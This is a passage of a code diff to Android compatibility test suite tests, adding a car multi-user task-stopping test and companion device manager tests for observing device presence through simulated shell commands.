import android.util.Log;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public final class ActivityManagerHelperTest extends ActivityManagerTestBase {
+ // type values from frameworks/base/core/java/android/app/WindowConfiguration
+ enum ActivityType {
+ ACTIVITY_TYPE_UNDEFINED,
+ ACTIVITY_TYPE_STANDARD
+ }
+
private static final String TAG = ActivityManagerHelperTest.class.getSimpleName();
private static final String PERMISSION_SET_ACTIVITY_WATCHER =
@@ -67,16 +78,39 @@
private static final String GRANTED_PERMISSION_INTERACT_ACROSS_USERS =
"android.permission.INTERACT_ACROSS_USERS";
+
+ // ActivityManagerHelper.removeTask needs this permission
private static final String PERMISSION_REMOVE_TASKS = "android.permission.REMOVE_TASKS";
+ // IActivityManager.getAllRootTaskInfos called in ActivityManagerHelper.stopAllTaskForUser
+ // needs this permission.
private static final String PERMISSION_MANAGE_ACTIVITY_TASKS =
"android.permission.MANAGE_ACTIVITY_TASKS";
+ // ActivityManager.getRunningAppProcess called in isAppRunning needs this permission
+ private static final String PERMISSION_INTERACT_ACROSS_USERS_FULL =
+ "android.permission.INTERACT_ACROSS_USERS_FULL";
private static final String SIMPLE_APP_PACKAGE_NAME = "android.car.cts.builtin.apps.simple";
- private static final String SIMPLE_ACTIVITY_NAME = SIMPLE_APP_PACKAGE_NAME + ".SimpleActivity";
+ private static final String SIMPLE_ACTIVITY_RELATIVE_NAME = ".SimpleActivity";
+ private static final String SIMPLE_ACTIVITY_NAME = SIMPLE_APP_PACKAGE_NAME
+ + SIMPLE_ACTIVITY_RELATIVE_NAME;
+ private static final String START_SIMPLE_ACTIVITY_COMMAND = "am start -W -n "
+ + SIMPLE_APP_PACKAGE_NAME + "/" + SIMPLE_ACTIVITY_RELATIVE_NAME;
+ private static final ComponentName SIMPLE_ACTIVITY_COMPONENT_NAME =
+ new ComponentName(SIMPLE_APP_PACKAGE_NAME, SIMPLE_ACTIVITY_RELATIVE_NAME);
+
+ // TODO(b/230757942): replace following shell commands with direct API calls
+ private static final String CREATE_USER_COMMAND = "cmd car_service create-user ";
+ private static final String SWITCH_USER_COMMAND = "cmd car_service switch-user ";
+ private static final String REMOVE_USER_COMMAND = "cmd car_service remove-user ";
+ private static final String START_USER_COMMAND = "am start-user -w ";
+ private static final String GET_CURRENT_USER_COMMAND = "am get-current-user ";
+ private static final String CTS_CAR_TEST_USER_NAME = "CtsCarTestUser";
+ // the value from UserHandle.USER_NULL
+ private static final int INVALID_USER_ID = -10_000;
private static final int OWNING_UID = UserHandle.ALL.getIdentifier();
private static final int MAX_NUM_TASKS = 1_000;
- private static final int TIMEOUT_MS = 20_000;
+ private static final int TIMEOUT_MS = 4_000;
// x coordinate of the left boundary line of the animation rectangle
private static final int ANIMATION_RECT_LEFT = 0;
@@ -235,6 +269,60 @@
.isEqualTo(expectedLaunchAllowed);
}
+ @Ignore("b/232432706")
+ @Test
+ public void testStopAllTasksForUser() throws Exception {
+ int initialCurrentUserId = getCurrentUserId();
+ int testUserId = INVALID_USER_ID;
+
+ try {
+ mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
+ PERMISSION_MANAGE_ACTIVITY_TASKS,
+ PERMISSION_REMOVE_TASKS,
+ PERMISSION_INTERACT_ACROSS_USERS_FULL);
+
+ testUserId = createUser(CTS_CAR_TEST_USER_NAME);
+ startUser(testUserId);
+
+ switchUser(testUserId);
+ waitUntilUserCurrent(testUserId);
+
+ installPackageForUser(testUserId);
+
+ launchSimpleActivityInCurrentUser();
+ waitUntilSimpleActivityExistenceStatusIs(true);
+ assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isTrue();
+
+ switchUser(initialCurrentUserId);
+ waitUntilUserCurrent(initialCurrentUserId);
+
+ stopAllTasksForUser(testUserId);
+ waitUntilSimpleActivityExistenceStatusIs(false);
+ assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isFalse();
+
+ removeUser(testUserId);
+ testUserId = INVALID_USER_ID;
+ } finally {
+ mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+
+ deepCleanTestStopAllTasksForUser(testUserId, initialCurrentUserId);
+ }
+ }
+
+ private void deepCleanTestStopAllTasksForUser(int testUserId, int initialCurrentUserId)
+ throws Exception {
+ try {
+ if (initialCurrentUserId != getCurrentUserId()) {
+ switchUser(initialCurrentUserId);
+ waitUntilUserCurrent(initialCurrentUserId);
+ }
+ } finally {
+ if (testUserId != INVALID_USER_ID) {
+ removeUser(testUserId);
+ }
+ }
+ }
+
private void assertComponentPermissionGranted(String permission) throws Exception {
assertThat(ActivityManagerHelper.checkComponentPermission(permission,
Process.myUid(), /* owningUid= */ OWNING_UID, /* exported= */ true))
@@ -273,6 +361,37 @@
waitAndAssertTopResumedActivity(simpleActivity, DEFAULT_DISPLAY, "Activity isn't resumed");
}
+ // launchSimpleActivity in the current user space via the car shell instead of the calling user.
+ // The calling user could be in the background.
+ private static void launchSimpleActivityInCurrentUser() {
+ Log.d(TAG, "launchSimpleActivityInCurrentUser: " + START_SIMPLE_ACTIVITY_COMMAND);
+ String retStr = SystemUtil.runShellCommand(START_SIMPLE_ACTIVITY_COMMAND);
+ Log.d(TAG, "launchSimpleActivityInCurrentUser return: " + retStr);
+ }
+
+ private static void installPackageForUser(int userId) {
+ String fullCommand = String.format("pm install-existing --user %d %s",
+ userId, SIMPLE_APP_PACKAGE_NAME);
+ Log.d(TAG, "installPackageForUser: " + fullCommand);
+ String retStr = SystemUtil.runShellCommand(fullCommand);
+ Log.d(TAG, "installPackageForUser return: " + retStr);
+ }
+
+ private boolean isAppRunning(String pkgName) {
+ ActivityManager am = mContext.getSystemService(ActivityManager.class);
+
+ List<ActivityManager.RunningAppProcessInfo> runningAppProcesses =
+ am.getRunningAppProcesses();
+
+ for (ActivityManager.RunningAppProcessInfo procInfo : runningAppProcesses) {
+ if (pkgName.equals(procInfo.processName)) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
private <T> T launchTestActivity(Class<T> type) {
Intent startIntent = new Intent(mContext, type)
.addFlags(FLAG_ACTIVITY_NEW_TASK);
@@ -324,4 +443,104 @@
public static final class ActivityC extends ActivityManagerTestActivityBase {
}
+
+ private static int createUser(String userName) throws Exception {
+ Log.d(TAG, "createUser: " + userName);
+ String retStr = SystemUtil.runShellCommand(CREATE_USER_COMMAND + userName);
+ Pattern userIdPattern = Pattern.compile("id=(\\d+)");
+ Matcher matcher = userIdPattern.matcher(retStr);
+ if (!matcher.find()) {
+ throw new Exception("failed to create user: " + userName);
+ }
+ return Integer.parseInt(matcher.group(1));
+ }
+
+ private static void switchUser(int userId) throws Exception {
+ Log.d(TAG, "switchUser: " + userId);
+ String retStr = SystemUtil.runShellCommand(SWITCH_USER_COMMAND + userId);
+ if (!retStr.contains("STATUS_SUCCESSFUL")) {
+ throw new Exception("failed to switch to user: " + userId);
+ }
+ Log.d(TAG, "switchUser: " + retStr);
+ }
+
+ private static void removeUser(int userId) throws Exception {
+ Log.d(TAG, "removeUser: " + userId);
+ String retStr = SystemUtil.runShellCommand(REMOVE_USER_COMMAND + userId);
+ if (!retStr.contains("STATUS_SUCCESSFUL")) {
+ throw new Exception("failed to remove user: " + userId);
+ }
+ Log.d(TAG, "removeUser: " + retStr);
+ }
+
+ private static void startUser(int userId) throws Exception {
+ String retStr = SystemUtil.runShellCommand(START_USER_COMMAND + userId);
+ if (!retStr.contains("Success: user started")) {
+ throw new Exception("failed to start user: " + userId + " with return: " + retStr);
+ }
+ Log.d(TAG, "startUser: " + retStr);
+ }
+
+ private static int getCurrentUserId() {
+ String retStr = SystemUtil.runShellCommand(GET_CURRENT_USER_COMMAND);
+ Log.d(TAG, "getCurrentUserId: " + retStr);
+ return Integer.parseInt(retStr.trim());
+ }
+
+ private static void waitUntilUserCurrent(int userId) throws Exception {
+ PollingCheck.waitFor(TIMEOUT_MS, () -> userId == getCurrentUserId());
+ }
+
+ // need to get the permission in the same user
+ private static void stopAllTasksForUser(int userId) {
+ ActivityManagerHelper.stopAllTasksForUser(userId);
+ }
+
+ private static void waitUntilSimpleActivityExistenceStatusIs(boolean expectedStatus) {
+ PollingCheck.waitFor(TIMEOUT_MS,
+ () -> (checkSimpleActivityExistence() == expectedStatus));
+ }
+
+ private static boolean checkSimpleActivityExistence() {
+ boolean foundSimpleActivity = false;
+
+ Log.d(TAG, "checkSimpleActivityExistence --- Begin");
+ WindowManagerState wmState = new WindowManagerState();
+ wmState.computeState();
+ for (ActivityType activityType : ActivityType.values()) {
+ if (findSimpleActivityInType(activityType, wmState)) {
+ foundSimpleActivity = true;
+ break;
+ }
+ }
+ Log.d(TAG, "checkSimpleActivityExistence --- End with --- " + foundSimpleActivity);
+
+ return foundSimpleActivity;
+ }
+
+ private static boolean findSimpleActivityInType(ActivityType activityType,
+ WindowManagerState wmState) {
+ boolean foundRootTask = false;
+ boolean foundSimpleActivity = false;
+
+ WindowManagerState.Task rootTask =
+ wmState.getRootTaskByActivityType(activityType.ordinal());
+ if (rootTask != null) {
+ foundRootTask = true;
+ List<WindowManagerState.Activity> allActivities = rootTask.getActivities();
+ if (rootTask.getActivity(SIMPLE_ACTIVITY_COMPONENT_NAME) != null) {
+ foundSimpleActivity = true;
+ }
+
+ // for debugging purpose only
+ for (WindowManagerState.Activity act : allActivities) {
+ Log.d(TAG, activityType.name() + ": activity name -- " + act.getName());
+ }
+ }
+
+ Log.d(TAG, activityType.name() + " has simple activity root task:" + foundRootTask);
+ Log.d(TAG, activityType.name() + " has simple activity: " + foundSimpleActivity);
+
+ return foundSimpleActivity;
+ }
}
diff --git a/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java b/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java
index eafef35..d75dcdd 100644
--- a/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java
+++ b/tests/tests/car_builtin/src/android/car/cts/builtin/util/TimingsTraceLogTest.java
@@ -21,6 +21,7 @@
import static android.car.cts.builtin.util.LogcatHelper.assertLogcatMessage;
import static android.car.cts.builtin.util.LogcatHelper.clearLog;
+import android.car.builtin.os.BuildHelper;
import android.car.builtin.os.TraceHelper;
import android.car.builtin.util.TimingsTraceLog;
@@ -43,7 +44,10 @@
timingsTraceLog.traceBegin("testTimingsTraceLog");
timingsTraceLog.traceEnd();
- assertLogMessage("testTimingsTraceLog took to complete");
+ // TODO(b/232814433): assert Trace is called including the user build.
+ if (!BuildHelper.isUserBuild()) {
+ assertLogMessage("testTimingsTraceLog took to complete");
+ }
}
@Test
diff --git a/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt b/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt
index 4d09333..7ca994b 100644
--- a/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt
+++ b/tests/tests/companion/common/src/android/companion/cts/common/CompanionService.kt
@@ -59,6 +59,7 @@
override fun onDeviceAppeared(associationInfo: AssociationInfo) {
Log.d(TAG, "$this.onDevice_Appeared(), association=$associationInfo")
_connectedDevices[associationInfo.id] = associationInfo
+
super.onDeviceAppeared(associationInfo)
}
@@ -86,6 +87,10 @@
instanceHolder.instance = null
super.onDestroy()
}
+
+ fun removeConnectedDevice(associationId: Int) {
+ _connectedDevices.remove(associationId)
+ }
}
sealed class InstanceHolder<T : CompanionService<T>> {
@@ -127,6 +132,13 @@
}
if (!gone) throw AssertionError("""Association with $associationId hasn't "disappeared"""")
}
+
+ // This is a useful function to use to conveniently "forget" that a device is currently present.
+ // Use to bypass the "unbinding while there are connected devices" for simulated devices.
+ // (Don't worry! they would have removed themselves after 1 minute anyways!)
+ fun forgetDevicePresence(associationId: Int) {
+ instance?.removeConnectedDevice(associationId)
+ }
}
class PrimaryCompanionService : CompanionService<PrimaryCompanionService>(Companion) {
diff --git a/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt b/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt
index 496fd34..8c03abd 100644
--- a/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt
+++ b/tests/tests/companion/common/src/android/companion/cts/common/TestBase.kt
@@ -36,11 +36,14 @@
import org.junit.AssumptionViolatedException
import org.junit.Before
import java.io.IOException
+import kotlin.test.assertContains
+import kotlin.test.assertContentEquals
import kotlin.test.assertEquals
import kotlin.test.assertFalse
import kotlin.test.assertIs
import kotlin.test.assertTrue
import kotlin.time.Duration
+import kotlin.time.Duration.Companion.milliseconds
import kotlin.time.Duration.Companion.seconds
/**
@@ -135,6 +138,8 @@
return callbackInvocation.associationInfo.id
}
+ protected fun runShellCommand(cmd: String) = instrumentation.runShellCommand(cmd)
+
private fun CompanionDeviceManager.disassociateAll() =
allAssociations.forEach { disassociate(it.id) }
}
@@ -154,6 +159,89 @@
expected = expected)
/**
+ * Assert that CDM binds valid CompanionDeviceServices, both primary and secondary.
+ * Use when services are expected to switch its state to "bound".
+ */
+fun assertValidCompanionDeviceServicesBind() =
+ assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should bind") {
+ waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
+ PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
+ }
+ }
+
+/**
+ * Assert both primary and secondary CompanionDeviceServices stay bound.
+ * Use when services are expected to be in "bound" state already.
+ */
+fun assertValidCompanionDeviceServicesRemainBound() =
+ assertFalse("Both valid CompanionDeviceServices should stay bound") {
+ waitFor(timeout = 3.seconds, interval = 100.milliseconds) {
+ !PrimaryCompanionService.isBound || !SecondaryCompanionService.isBound
+ }
+ }
+
+/**
+ * Assert that CDM unbinds valid CompanionDeviceServices, both primary and secondary.
+ * Use when services are expected to switch its state to "unbound".
+ */
+fun assertValidCompanionDeviceServicesUnbind() =
+ assertTrue("CompanionDeviceServices should not bind") {
+ waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
+ !PrimaryCompanionService.isBound && !SecondaryCompanionService.isBound
+ }
+ }
+
+/**
+ * Assert that neither primary nor secondary CompanionDeviceService is bound.
+ * Use when services are expected to be in "unbound" state already.
+ */
+fun assertValidCompanionDeviceServicesRemainUnbound() =
+ assertFalse("CompanionDeviceServices should not be bound") {
+ waitFor(timeout = 3.seconds, interval = 100.milliseconds) {
+ PrimaryCompanionService.isBound || SecondaryCompanionService.isBound
+ }
+ }
+
+/**
+ * Assert that CDM did not bind invalid CompanionDeviceServices
+ * (i.e. missing permission or intent-filter).
+ */
+fun assertInvalidCompanionDeviceServicesNotBound() =
+ assertFalse("CompanionDeviceServices that do not require " +
+ "BIND_COMPANION_DEVICE_SERVICE permission or do not declare an intent-filter for " +
+ "\"android.companion.CompanionDeviceService\" action should not be bound") {
+ MissingPermissionCompanionService.isBound ||
+ MissingIntentFilterActionCompanionService.isBound
+ }
+
+/**
+ * Assert that device (dis)appearance detection callback is only triggered for the primary
+ * CompanionDeviceService and not on any of the non-primary or invalid CompanionDeviceServices.
+ */
+fun assertOnlyPrimaryCompanionDeviceServiceNotified(associationId: Int, appeared: Boolean) {
+ val snapshotSecondary = HashSet(SecondaryCompanionService.connectedDevices)
+ val snapshotUnauthorized = HashSet(MissingPermissionCompanionService.connectedDevices)
+ val snapshotInvalid = HashSet(MissingIntentFilterActionCompanionService.connectedDevices)
+
+ // Check that the primary CompanionDeviceService received onDevice(Dis)Appeared() callback
+ if (appeared) {
+ PrimaryCompanionService.waitAssociationToAppear(associationId)
+ assertContains(PrimaryCompanionService.associationIdsForConnectedDevices, associationId)
+ } else {
+ PrimaryCompanionService.waitAssociationToDisappear(associationId)
+ assertFalse(PrimaryCompanionService.associationIdsForConnectedDevices
+ .contains(associationId))
+ }
+
+ // ... while neither the non-primary nor incorrectly defined CompanionDeviceServices -
+ // have NOT. (Give it 1 more second.)
+ sleepFor(1.seconds)
+ assertContentEquals(snapshotSecondary, SecondaryCompanionService.connectedDevices)
+ assertContentEquals(snapshotUnauthorized, MissingPermissionCompanionService.connectedDevices)
+ assertContentEquals(snapshotInvalid, MissingIntentFilterActionCompanionService.connectedDevices)
+}
+
+/**
* @return whether the condition was met before time ran out.
*/
fun waitFor(
@@ -196,4 +284,8 @@
}
fun Instrumentation.setSystemProp(name: String, value: String) =
- runShellCommand("setprop $name $value")
\ No newline at end of file
+ runShellCommand("setprop $name $value")
+
+fun MacAddress.toUpperCaseString() = toString().toUpperCase()
+
+fun sleepFor(duration: Duration) = sleep(duration.inWholeMilliseconds)
\ No newline at end of file
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/ObservingDevicePresenceTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/ObservingDevicePresenceTest.kt
new file mode 100644
index 0000000..4c0d4bf
--- /dev/null
+++ b/tests/tests/companion/core/src/android/companion/cts/core/ObservingDevicePresenceTest.kt
@@ -0,0 +1,278 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.companion.cts.core
+
+import android.Manifest
+import android.companion.cts.common.MAC_ADDRESS_A
+import android.companion.cts.common.MAC_ADDRESS_B
+import android.companion.cts.common.PrimaryCompanionService
+import android.companion.cts.common.SecondaryCompanionService
+import android.companion.cts.common.assertValidCompanionDeviceServicesBind
+import android.companion.cts.common.assertValidCompanionDeviceServicesRemainBound
+import android.companion.cts.common.assertValidCompanionDeviceServicesRemainUnbound
+import android.companion.cts.common.assertValidCompanionDeviceServicesUnbind
+import android.companion.cts.common.assertEmpty
+import android.companion.cts.common.assertInvalidCompanionDeviceServicesNotBound
+import android.companion.cts.common.assertOnlyPrimaryCompanionDeviceServiceNotified
+import android.companion.cts.common.toUpperCaseString
+import android.platform.test.annotations.AppModeFull
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertContentEquals
+import kotlin.test.assertFailsWith
+
+/**
+ * Test CDM APIs for observing device presence.
+ *
+ * Run: atest CtsCompanionDeviceManagerCoreTestCases:ObservingDevicePresenceTest
+ *
+ * @see android.companion.CompanionDeviceManager.startObservingDevicePresence
+ * @see android.companion.CompanionDeviceManager.stopObservingDevicePresence
+ */
+@AppModeFull(reason = "CompanionDeviceManager APIs are not available to the instant apps.")
+@RunWith(AndroidJUnit4::class)
+class ObservingDevicePresenceTest : CoreTestBase() {
+
+ @Test
+ fun test_observingDevicePresence_isOffByDefault() {
+ // Create a regular (not self-managed) association.
+ targetApp.associate(MAC_ADDRESS_A)
+ val associationId = cdm.myAssociations[0].id
+
+ simulateDeviceAppeared(associationId)
+
+ // Make sure CDM does not bind application
+ assertValidCompanionDeviceServicesRemainUnbound()
+
+ // ... and does not trigger onDeviceAppeared ()
+ assertEmpty(PrimaryCompanionService.connectedDevices)
+ assertEmpty(SecondaryCompanionService.connectedDevices)
+
+ simulateDeviceDisappeared(associationId)
+ }
+
+ @Test
+ fun test_startObservingDevicePresence_requiresPermission() {
+ // Create a regular (not self-managed) association.
+ targetApp.associate(MAC_ADDRESS_A)
+
+ // Attempts to call startObservingDevicePresence without the
+ // REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE permission should lead to a SecurityException
+ // being thrown.
+ assertFailsWith(SecurityException::class) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ }
+
+ // Same call with the REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE permissions should succeed.
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ }
+ }
+
+ @Test
+ fun test_startObservingDevicePresence_singleDevice() {
+ // Create a regular (not self-managed) association.
+ targetApp.associate(MAC_ADDRESS_A)
+ val associationId = cdm.myAssociations[0].id
+
+ // Start observing presence.
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ }
+
+ // Simulate device appeared.
+ simulateDeviceAppeared(associationId)
+
+ // Make sure valid CompanionDeviceServices are bound
+ assertValidCompanionDeviceServicesBind()
+
+ // ... and incorrectly defined CompanionDeviceServices are not
+ assertInvalidCompanionDeviceServicesNotBound()
+
+ // Check that only the primary CompanionDeviceService has received the onDeviceAppeared()
+ // callback...
+ assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = true)
+
+ // Make sure that both primary and secondary CompanionDeviceServices still bind.
+ assertValidCompanionDeviceServicesRemainBound()
+
+ simulateDeviceDisappeared(associationId)
+
+ // Check that only the primary services has received the onDeviceDisappeared() callback.
+ assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = false)
+
+ // Both primary and secondary CompanionDeviceServices should unbind now.
+ assertValidCompanionDeviceServicesUnbind()
+ }
+
+ @Test
+ fun test_stopObservingDevicePresence() {
+ // Create a regular (not self-managed) association.
+ targetApp.associate(MAC_ADDRESS_A)
+ val associationId = cdm.myAssociations[0].id
+
+ // Start and stop observing presence.
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ cdm.stopObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ }
+
+ // Simulate device appeared.
+ simulateDeviceAppeared(associationId)
+
+ // Make sure CDM does not bind application
+ assertValidCompanionDeviceServicesRemainUnbound()
+
+ // ... and does not trigger onDeviceAppeared ()
+ assertEmpty(PrimaryCompanionService.connectedDevices)
+ assertEmpty(SecondaryCompanionService.connectedDevices)
+
+ // Simulate device disappeared.
+ simulateDeviceDisappeared(associationId)
+ }
+
+ @Test
+ fun test_startObservingDevicePresence_alreadyPresent() {
+ // Create a regular (not self-managed) association.
+ targetApp.associate(MAC_ADDRESS_A)
+ val associationId = cdm.myAssociations[0].id
+
+ // Simulate device appearing before observing it
+ simulateDeviceAppeared(associationId)
+
+ // Make sure CDM doesn't bind application yet
+ assertValidCompanionDeviceServicesRemainUnbound()
+
+ // Start observing presence of an already present device.
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ }
+
+ // Make sure valid CompanionDeviceServices are bound
+ assertValidCompanionDeviceServicesBind()
+ assertInvalidCompanionDeviceServicesNotBound()
+
+ // Clean-up
+ simulateDeviceDisappeared(associationId)
+ }
+
+ @Test
+ fun test_startObservingDevicePresence_multipleDevices() {
+ // Create two regular (not self-managed) associations.
+ targetApp.associate(MAC_ADDRESS_A)
+ targetApp.associate(MAC_ADDRESS_B)
+ val idA = cdm.myAssociations[0].id
+ val idB = cdm.myAssociations[1].id
+
+ // Start observing presence of both devices.
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ cdm.startObservingDevicePresence(MAC_ADDRESS_B.toUpperCaseString())
+ }
+
+ simulateDeviceAppeared(idA)
+
+ // Assert only the valid CompanionDeviceServices (primary + secondary) bind
+ assertValidCompanionDeviceServicesBind()
+ assertInvalidCompanionDeviceServicesNotBound()
+
+ // Assert only the primary CompanionDeviceService is notified of device A's appearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = true)
+ assertContentEquals(
+ actual = PrimaryCompanionService.associationIdsForConnectedDevices,
+ expected = setOf(idA)
+ )
+
+ simulateDeviceAppeared(idB)
+
+ // Assert only the primary CompanionDeviceService is notified of device B's appearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = true)
+ assertContentEquals(
+ actual = PrimaryCompanionService.associationIdsForConnectedDevices,
+ expected = setOf(idA, idB)
+ )
+
+ // Make sure both valid services stay bound.
+ assertValidCompanionDeviceServicesRemainBound()
+
+ // "Disconnect" first device (A).
+ simulateDeviceDisappeared(idA)
+
+ // Assert only the primary CompanionDeviceService is notified of device A's disappearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = false)
+
+ // Both valid services should stay bound for as long as there is at least one connected
+ // device - device B in this case.
+ assertValidCompanionDeviceServicesRemainBound()
+
+ // "Disconnect" second (and last remaining) device (B).
+ simulateDeviceDisappeared(idB)
+
+ // Assert only the primary CompanionDeviceService is notified of device B's disappearance
+ assertOnlyPrimaryCompanionDeviceServiceNotified(idB, appeared = false)
+
+ // Both valid services should unbind now.
+ assertValidCompanionDeviceServicesUnbind()
+ }
+
+ @Test
+ fun test_stopObservingDevicePresence_unbindsApplication() {
+ // Create two regular (not self-managed) association.s
+ targetApp.associate(MAC_ADDRESS_A)
+ targetApp.associate(MAC_ADDRESS_B)
+ val idA = cdm.myAssociations[0].id
+ val idB = cdm.myAssociations[1].id
+
+ // Start observing presence of both devices.
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.startObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ cdm.startObservingDevicePresence(MAC_ADDRESS_B.toUpperCaseString())
+ }
+
+ simulateDeviceAppeared(idA)
+ simulateDeviceAppeared(idB)
+
+ // Assert only the valid CompanionDeviceServices (primary + secondary) bind
+ assertValidCompanionDeviceServicesBind()
+ assertInvalidCompanionDeviceServicesNotBound()
+
+ // Stop observing presence of device A.
+ PrimaryCompanionService.forgetDevicePresence(idA)
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.stopObservingDevicePresence(MAC_ADDRESS_A.toUpperCaseString())
+ }
+
+ // Make sure both valid services stay bound.
+ assertValidCompanionDeviceServicesRemainBound()
+
+ // Stop observing presence of device B.
+ PrimaryCompanionService.forgetDevicePresence(idB)
+ withShellPermissionIdentity(Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) {
+ cdm.stopObservingDevicePresence(MAC_ADDRESS_B.toUpperCaseString())
+ }
+
+ // Both valid services should unbind now.
+ assertValidCompanionDeviceServicesUnbind()
+ }
+
+ private fun simulateDeviceAppeared(associationId: Int) = runShellCommand(
+ "cmd companiondevice simulate-device-appeared $associationId")
+
+ private fun simulateDeviceDisappeared(associationId: Int) = runShellCommand(
+ "cmd companiondevice simulate-device-disappeared $associationId")
+}
\ No newline at end of file
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt
index f34e828..0305da7 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/SelfPresenceReportingTest.kt
@@ -20,15 +20,14 @@
import android.companion.cts.common.DEVICE_DISPLAY_NAME_A
import android.companion.cts.common.DEVICE_DISPLAY_NAME_B
import android.companion.cts.common.MAC_ADDRESS_A
-import android.companion.cts.common.MissingIntentFilterActionCompanionService
-import android.companion.cts.common.MissingPermissionCompanionService
import android.companion.cts.common.PrimaryCompanionService
import android.companion.cts.common.Repeat
import android.companion.cts.common.RepeatRule
-import android.companion.cts.common.SecondaryCompanionService
-import android.companion.cts.common.assertEmpty
-import android.companion.cts.common.waitFor
-import android.os.SystemClock.sleep
+import android.companion.cts.common.assertValidCompanionDeviceServicesBind
+import android.companion.cts.common.assertValidCompanionDeviceServicesRemainBound
+import android.companion.cts.common.assertValidCompanionDeviceServicesUnbind
+import android.companion.cts.common.assertInvalidCompanionDeviceServicesNotBound
+import android.companion.cts.common.assertOnlyPrimaryCompanionDeviceServiceNotified
import android.platform.test.annotations.AppModeFull
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Rule
@@ -36,10 +35,6 @@
import org.junit.runner.RunWith
import kotlin.test.assertContentEquals
import kotlin.test.assertFailsWith
-import kotlin.test.assertFalse
-import kotlin.test.assertTrue
-import kotlin.time.Duration.Companion.milliseconds
-import kotlin.time.Duration.Companion.seconds
/**
* Tests CDM APIs for notifying the presence of status of the companion devices for self-managed
@@ -65,51 +60,23 @@
cdm.notifyDeviceAppeared(associationId)
- assertTrue("Both valid CompanionDeviceServices - Primary and Secondary - should be bound " +
- "now") {
- waitFor(timeout = 1.seconds, interval = 100.milliseconds) {
- PrimaryCompanionService.isBound && SecondaryCompanionService.isBound
- }
- }
- assertFalse("CompanionDeviceServices that do not require " +
- "BIND_COMPANION_DEVICE_SERVICE permission or do not declare an intent-filter for " +
- "\"android.companion.CompanionDeviceService\" action should not be bound") {
- MissingPermissionCompanionService.isBound ||
- MissingIntentFilterActionCompanionService.isBound
- }
+ // Assert only the valid CompanionDeviceServices (primary + secondary) are bound
+ assertValidCompanionDeviceServicesBind()
+ assertInvalidCompanionDeviceServicesNotBound()
- // Check that only the primary CompanionDeviceService has received the onDeviceAppeared()
- // callback...
